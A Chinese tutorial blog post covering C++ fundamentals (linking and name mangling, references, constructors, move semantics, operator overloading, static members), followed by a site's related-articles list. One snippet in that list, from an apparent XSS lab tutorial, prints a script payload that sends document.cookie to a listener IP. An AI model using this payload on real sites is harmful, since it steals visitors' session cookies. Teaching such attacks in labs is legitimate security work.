C++——基础

初学C++的时候,有没有想过,为什么C++支持重载,而C不支持重载呢??

其实,一个程序运行起来都要经过四步骤

  1. 预处理
  2. 编译
  3. 汇编
  4. 链接

预处理阶段会经过去注释,宏替换,头文件展开,条件编译... 

编译阶段会生成汇编代码,会经过语法分析,词法分析,语义分析,符号汇总...(像了解详细的可以去看看 《程序员的自我修养》,在它的第二章会详细讲解)


汇编阶段会将汇编生成二进制,然后在这一阶段生成符号表

链接阶段会合并段表,符号表的汇总和重定向。

  1. 实际的项目中,通常由多个头文件和源文件构成,然后通过编译链接,最后形成.o文件,如果为我们一个test.cpp调用了add.cpp中的add函数,在编译后链接前,.o的目标文件中没有add函数的地址,因为add函数是在add.cpp中的,所以add的函数在add.o中,那么怎么办呢??
  2. 链接阶段解决了这个问题,链接器看到了test.o调用了add.o中的add函数,但是没有add的地址,就会去add.o中的符号表中去找add的地址,然后链接到一起。
  3. 这时,链接器会通过函数名的修饰规则去找,而不同编译器的函数名修饰规则不一样。

这里用Linux中的gcc和g++来做例子:

这时回到我们一开始的问题,为什么C++支持重载呢???  就是因为通过C++可以通过函数名的修饰规则来区分,而C函数名修饰规则后,函数名都是一样的,所以不能重载。

 那么有一个问题,如果有两个函数,函数名一样,参数一样,但返回值不同,这是否能构成重载呢??
当然不能,因为编译器不能够通过返回值不同来判断是否构成重载。


引用:引用不是定义一个变量,而是给已存在变量取了一个别名,编译器不会另外开辟空间,而是和变量一起共用一个空间。

引用经常和指针来对比,而引用经常用来做返回值,这时因为用引用来做返回值,可以提高效率。

#include <iostream>
#include <time.h>
using namespace std;

struct A
{
    int a[10000];
};

A a;

// 值返回
A TestFunc1()
{
    return a;
}

// 引用返回
A &TestFunc2()
{
    return a;
}

void TestReturnByRefOrValue()
{
    // 以值作为函数的返回值类型
    size_t begin1 = clock();
    for (size_t i = 0; i < 100000; ++i)

        TestFunc1();
    size_t end1 = clock();

    // 以引用作为函数的返回值类型
    size_t begin2 = clock();
    for (size_t i = 0; i < 100000; ++i)
        TestFunc2();
    size_t end2 = clock();

    // 计算两个函数运算完成之后的时间
    cout << "TestFunc1 time:" << end1 - begin1 << endl;
    cout << "TestFunc2 time:" << end2 - begin2 << endl;
}

int main()
{
    TestReturnByRefOrValue();

    return 0;
}

但有一个很重要的区别就是

  1. 语法程度上,引用就是一个别名,没有独立空间,和其引用实体共用同一块空间。
  2. 底层上来讲,引用的底层就是指针来实现的。

 类的6个默认成员函数:

构造函数:构造函数是一个特殊的成员函数,需要注意的是构造函数的工作是初始化对象。

而默认构造函数有三种:

  1. 用户没有显示实现的时候,编译器自动生成
  2. 用户显示实现,但是一个参数都没有(无参构造函数)
  3. 用户显示实现,参数全部都有缺省值(全缺省构造函数)

ps:这三种默认构造函数不能同时存在。如果2 3 同时存在,那么当一个类时空类的时候,它调用的时候就会存在歧义。

特征如下:

  1. 函数名和类名相同
  2. 没有返回值
  3. 对象实例化的时候会自动调用构造函数
  4. 构造函数可以重载

在创建对象的时候,编译器会自动调用构造函数,给每个成员赋初值,这时每个成员都会去走初始化列表。

初始化列表:以一个冒号开始,接着是一个逗号分割的数据成员列表,每个“成员变量”后面跟一个放在括号中的初始值或表达式。

class A
{
    A()
    :_a(a)
    ,_b(b)
    {}

    private:
    int _a;
    int _b;
};

当然每个成员在初始化的时候只能初始化一次,但有三种必须放到初始化列表中

  1. const成员变量
  2. 引用成员变量
  3.  自定义类型成员(且该类没有默认的构造函数)

析构函数:与构造函数相反,析构函数是在对象销毁时自动调用析构函数,完成对对象中资源的清理工作。

特征如下:

  1. 析构函数要在类名的前面 + ~
  2. 无参数无返回值
  3. 一个函数只有一个析构函数,最好变成虚函数,这样形成多态的一个条件。

拷贝构造函数:只有单个参数,该参数是对本类型的引用,当一个已经存在的对象初始化创建一个新对象的时候,会自动调用拷贝构造函数。

特征如下:

  1. 拷贝构造函数是构造函数的一个重载
  2. 拷贝构造函数的参数必须是本类型的引用,如果不加引用,会无限递归调用拷贝构造函数,最终会造成栈溢出。

编译器默认生成的拷贝构造函数是值拷贝,在某些场景是不能使用的,所以需要我们去深拷贝。

C++11增加了两个默认的成员函数:

  1. 移动构造函数
  2. 移动赋值运算符重载

针对移动构造函数和移动赋值运算符重载有写特定的要求:

  • 如果你没有自己实现移动构造函数,且没有实现析构函数,拷贝构造、拷贝赋值重载中的任何一个。那么编译器会自动生成一个默认移动构造。默认生成的移动构造,对于内置类型成员会执行逐成员按字节拷贝,自定义类型成员,则需要看这个成员是否实现了移动构造,如果实现了就调用移动构造,如果没有实现就调用默认的移动构造。
  • 如果你没有自己实现移动赋值重载函数,且没有实现析构函数 、拷贝构造、拷贝赋值重载中
    的任意一个,那么编译器会自动生成一个默认移动赋值。默认生成的移动构造函数,对于内
    置类型成员会执行逐成员按字节拷贝,自定义类型成员,则需要看这个成员是否实现移动赋
    值,如果实现了就调用移动赋值,没有实现就调用拷贝赋值。(默认移动赋值跟上面移动构造
    完全类似)

 赋值运算符重载:C++为了增强代码的可读性引入了运算符重载,运算符重载是具有特殊函数名的函数,也具有返回值类型,函数名字以及参数列表,其返回值类型与普通的函数类型。

特征如下:

  1. 重载操作符必须有一个类类型参数
  2. 作为类成员函数,形参比操作数少1,这时因为第一个隐藏的参数是this指针
  3. .* sizeof :?  .  不能重载

我们来看一下string的赋值运算符重载,不难发现它的返回值是string&。

想一想为什么返回值会是引用呢??

  • 返回值如果是引用那么就是可以提高返回的效率,因为会少一次拷贝构造,有返回值是为了支持连续的赋值

参数是const T&,是因为这样可以支持左值或右值,传递引用也是为了提高效率。


explicit关键字:

构造函数不仅仅可以构造还可以初始化对象,对于单个参数或除第一个参数无默认值其余都有默认值的构造函数,还具有隐式类型的转换的作用。而explicit关键字的作用就是修饰构造函数,禁止构造函数去隐式类型的转换。


static成员:

用static修饰的成员变量叫做静态成员变量,用static修饰的成员函数,叫做静态成员函数。静态成员变量一定要在类外进行初始化。

class A
{

    static int _a;
};

int A::_a = 1;

特征如下:

  1.  静态成员为所有类对象所共享,存在放静态区
  2. 静态成员变量必须在类外进行初始化,定义的时候不用加上static,类中只是声明
  3. 类静态成员可以通过 类名::静态成员 或者 对象::静态成员 来访问
  4. 静态成员函数没有this指针,不能访问任何的非静态成员变量
  5. 静态成员也受类修饰符的影响,受public,protect,private访问限定符的限制

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/130298.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Liunx终极环境搭建

华子目录 网络服务准备工作安装RHEL9系统部署RHEL9操作系统虚拟网络编辑器配置RHEL9系统系统中的设置更换yum源修改主机名关闭selinux&#xff0c;firewalld设置静态ip &#xff08;网络配置&#xff09; 网络服务 准备工作 以下为RHEL9镜像资源&#xff0c;有需要的博友们可…

Ubuntu(WSL) mysql8.0.31 源码安装

要在 Ubuntu 上使用调试功能安装 MySQL 8.0 的源码&#xff0c;可以按照以下详细步骤进行操作&#xff1a; 1. 更新系统 首先&#xff0c;确保你的 Ubuntu 系统是最新的。运行以下命令更新系统软件包&#xff1a; sudo apt update sudo apt upgrade 2. 下载 MySQL 源码 访…

ChatGPT Plus的Vision升级是一个改变游戏规则的创举

内容来源&#xff1a;0xluffy_eth ChatGPT Plus的Vision升级是一个改变游戏规则的创举&#xff01; 现在每个用户都可以以每月20美元的价格雇用自己的个人数字助理实习生&#xff0c;具备VISION&#xff01; 以下是10个惊人的例子&#xff08;&#xff09; 1&#xff0c; 我…

Blender--》点线面操作及其面操作的详解

接下来我会在three.js专栏中分享关于3D建模知识的文章&#xff0c;如果学习three朋友并且想了解和学习3D建模&#xff0c;欢迎关注本专栏&#xff0c;关于这款3D建模软件blender的安装&#xff0c;我在前面的文章已经讲解过了&#xff0c;如果不了解的朋友可以去考考古&#xf…

this和super

文章目录 this用法普通的直接引用区分形参与实参 super用法普通的直接引用区分子类与父类同名的属性或方法 this和super 与 构造方法总结 this this引用表示当前对象对象的引用。 用法 普通的直接引用 public class Test {int a ;int b;public Test() {this.b 0;} }调用当…

mysql的sql_mode参数

msql修改了这个参数&#xff0c;首先mysql需要重新才能生效&#xff0c;还有就是java连接的springboot项目也需要重新启动。之前是遇到了下面的这个报错。只需要把sql_mode设置为空&#xff0c;重启mysql和服务就行 报错 In aggregated query without GROUP BY, expression #1…

使用 pubsub-js 进行消息发布订阅

npm 包地址 github 包地址 pubsub-js 是一个轻量级的 JavaScript 基于主题的消息订阅发布库 &#xff0c;压缩后小于1b。它具有使用简单、性能高效、支持多平台等优点&#xff0c;可以很好地满足各种需求。 功能特点&#xff1a; 无依赖同步解耦ES3 兼容。pubsub-js 能够在…

Vatee万腾外汇数字化策略:Vatee科技决策力的未来引领

在外汇市场&#xff0c;Vatee万腾通过其前瞻性的外汇数字化策略&#xff0c;正引领着科技决策的未来。这一数字化策略的崭新愿景为投资者提供了更智慧、更高效的外汇投资体验&#xff0c;成为科技决策领域的翘楚。 Vatee万腾的外汇数字化策略是科技决策力未来引领的典范。通过运…

C# PaddleInference.PP-HumanSeg 人像分割 替换背景色

效果 项目 VS2022.net4.8OpenCvSharp4Sdcb.PaddleInference 包含4个分割模型 modnet-hrnet_w18 modnet-mobilenetv2 ppmatting-hrnet_w18-human_512 ppmattingv2-stdc1-human_512 代码 using OpenCvSharp; using Sdcb.PaddleInference; using System; using System.Col…

Springboot SpringCloudAlibaba Nacos 项目搭建

依赖版本&#xff1a; spring-boot&#xff1a;2.3.12.RELEASE spring-cloud-alibaba&#xff1a;2.2.7.RELEASE spring-cloud&#xff1a;Hoxton.SR12 nacos&#xff1a;2.0.3 1.部署搭建Nacos注册中心 Linux Nacos 快速启动_nacos linux快速启动-CSDN博客 2.构建项目 源码地…

STM32——STM32F4系统架构

文章目录 前言STM32F4XX系统架构 前言 本篇文章为STM32F4系列的系统架构&#xff0c;因为最近在学习F4的板子&#xff0c;暂时先更F4的&#xff0c;有需要F1的后续再更新。 主系统由 32 位多层 AHB 总线矩阵构成&#xff0c;可实现以下部分的互连&#xff1a; STM32F4XX系统架…

19. 深度学习 - 用函数解决问题

文章目录 Hi&#xff0c; 你好。我是茶桁。 上一节课&#xff0c;我们从一个波士顿房价的预测开始写代码&#xff0c;写到了KNN。 之前咱们机器学习课程中有讲到KNN这个算法&#xff0c;分析过其优点和缺点&#xff0c;说起来&#xff0c;KNN这种方法比较低效&#xff0c;在数…

万能在线预约小程序系统源码 适合任何行业在线预约小程序+预约到店模式 带完整的搭建教程

大家好啊&#xff0c;源码小编又来给大家分享啦&#xff01;随着互联网的发展和普及&#xff0c;越来越多的服务行业开始使用在线预约系统以方便客户和服务管理。例如&#xff0c;美发店、健身房、餐厅等都可以通过在线预约系统提高服务效率&#xff0c;减少等待时间&#xff0…

开机自启动笔记本的小键盘

虽然电脑开机次数不多&#xff0c;但每次开机都要摁下小键盘的开关&#xff0c;好烦 终于忍不住了&#xff1a; 将下面文件命名为 XXX.bat echo off rem 禁用批处理文件中的命令回显&#xff0c;以使输出更整洁rem 查询注册表中 "InitialKeyboardIndicators" 的值 r…

赛氪中西部外语翻译大赛入榜2023国内翻译赛事发展评估报告

中西部外语翻译大赛入选中国外文局CATTI项目管理中心和中国外文界平台联合发布《2023国内翻译赛事发展评估报告》 近日&#xff0c;中国外文局CATTI项目管理中心和中国外文界平台联合发布了《2023国内翻译赛事发展评估报告》&#xff0c;报告对国内主流外语翻译赛事进行了问卷调…

【微服务专题】手写模拟SpringBoot

目录 前言阅读对象阅读导航前置知识笔记正文一、工程项目准备1.1 新建项目1.1 pom.xml1.2 业务模拟 二、模拟SpringBoot启动&#xff1a;好戏开场2.1 启动配置类2.1.1 shen-base-springboot新增2.1.2 shen-example客户端新增启动类 三、run方法的实现3.1 步骤一&#xff1a;启动…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Windows 安装 Maven

Maven 安装 Maven 下载地址&#xff1a;https://maven.apache.org/download.cgi 下载 apache-maven-3.9.5-bin.zip 到本地解压到 D:\Software\apache-maven-3.9.5 配置阿里云镜像 配置阿里云远程仓库镜像地址&#xff0c;打开配置文件 D:\Software\apache-maven-3.9.5\conf\s…

在gitlab中的使用kaniko打造流水线

文章目录 kaniko工具介绍环境说明系统版本组件版本组件部署参考链接 部署harbor下载解压、创建相关目录配置部署 gitlab集成harbor集成项目ci配置最终结果 kaniko工具介绍 kaniko 是一种从容器或 Kubernetes 集群内的 Dockerfile 构建容器镜像的工具。 kaniko 解决了使用 Doc…

听GPT 讲Rust源代码--library/core/src

题图来自 The first unofficial game jam for Rust lang![1] File: rust/library/core/src/hint.rs rust/library/core/src/hint.rs文件的作用是提供了一些用于提示编译器进行优化的函数。 在Rust中&#xff0c;编译器通常会根据代码的语义进行自动的优化&#xff0c;以提高程序…